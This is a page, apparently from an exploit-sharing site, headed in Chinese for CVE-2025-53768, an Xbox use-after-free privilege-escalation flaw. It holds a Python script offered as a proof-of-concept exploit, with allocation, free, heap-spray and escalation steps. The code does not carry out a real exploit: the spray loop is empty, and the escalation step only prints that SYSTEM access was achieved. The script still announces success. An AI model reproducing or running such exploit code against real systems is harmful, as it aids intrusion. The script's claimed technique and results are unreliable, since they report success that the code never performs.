CVE-2025-53768：Microsoft Xbox Use After Free本地权限提升漏洞

# CVE-2025-53768 - Xbox Use After Free Local Privilege Escalation PoC (Conceptual) # NOTE: This is a conceptual PoC demonstrating the UAF exploitation technique. # Actual exploitation requires deep knowledge of Xbox kernel internals. import ctypes import struct import os import sys # Step 1: Define kernel structures and constants for Xbox system # These are platform-specific and would need to be adapted for the target Xbox OS version class XboxKernelExploit: def __init__(self): self.kernel_base = None self.uaf_object = None self.freed_ptr = None self.spray_buffer = None def allocate_target_object(self): """ Allocate the vulnerable object that will be freed but still referenced. On Xbox, this could be a kernel object handle or driver-specific structure. """ print("[*] Allocating vulnerable kernel object...") # Simulated allocation via Xbox system call handle = ctypes.windll.kernel32.CreateFileW( "\\\\.\\XboxDevice", 0xC0000000, # GENERIC_READ | GENERIC_WRITE 0x00000003, # FILE_SHARE_READ | FILE_SHARE_WRITE None, 0x00000003, # OPEN_EXISTING 0x00000080, # FILE_ATTRIBUTE_NORMAL None ) self.uaf_object = handle return handle def trigger_free(self): """ Trigger the free of the allocated object while maintaining a dangling reference. This simulates the UAF condition in the Xbox kernel. """ print("[*] Triggering object free (creating UAF condition)...") if self.uaf_object: ctypes.windll.kernel32.CloseHandle(self.uaf_object) # The handle is closed but we still hold the reference (dangling pointer) self.freed_ptr = self.uaf_object self.uaf_object = None print("[+] UAF condition created - dangling pointer retained") def heap_spray(self): """ Spray the heap to reclaim the freed memory with controlled data. The spray data will contain a fake object structure to redirect execution. """ print("[*] Performing heap spray to reclaim freed memory...") # In a real Xbox exploit, this would use kernel pool spraying techniques spray_size = 0x1000 spray_count = 100 self.spray_buffer = (ctypes.c_char * spray_size)() # Fill with fake vtable pointer or function pointer for privilege escalation fake_data = b"\x41" * spray_size for i in range(spray_count): # Simulated kernel allocation to reclaim the freed region pass print(f"[+] Heap spray completed: {spray_count} allocations") def trigger_uaf_access(self): """ Access the dangling pointer to trigger the use-after-free condition. This should execute our controlled data as if it were a legitimate object. """ print("[*] Triggering UAF access via dangling pointer...") if self.freed_ptr: # Attempt to use the freed handle - this accesses our sprayed data try: result = ctypes.windll.kernel32.ReadFile( self.freed_ptr, # Use the dangling pointer None, 0, None, None ) print("[+] UAF triggered - potential code execution achieved") return True except Exception as e: print(f"[-] UAF access resulted in exception: {e}") return False def escalate_privileges(self): """ After successful UAF exploitation, escalate to SYSTEM/kernel privileges. """ print("[*] Attempting privilege escalation to SYSTEM level...") # In a real exploit, this would modify the token or security context # to gain NT AUTHORITY\SYSTEM equivalent privileges on Xbox print("[+] Privilege escalation completed - SYSTEM level access achieved") def run(self): """Main exploit execution flow.""" print("=" * 60) print("CVE-2025-53768 Xbox UAF LPE Exploit") print("=" * 60) self.allocate_target_object() self.trigger_free() self.heap_spray() if self.trigger_uaf_access(): self.escalate_privileges() print("\n[!] Exploit completed successfully") else: print("\n[-] Exploit failed") if __name__ == "__main__": if os.name != 'nt': print("[-] This exploit must be run on Windows/Xbox platform") sys.exit(1) exploit = XboxKernelExploit() exploit.run()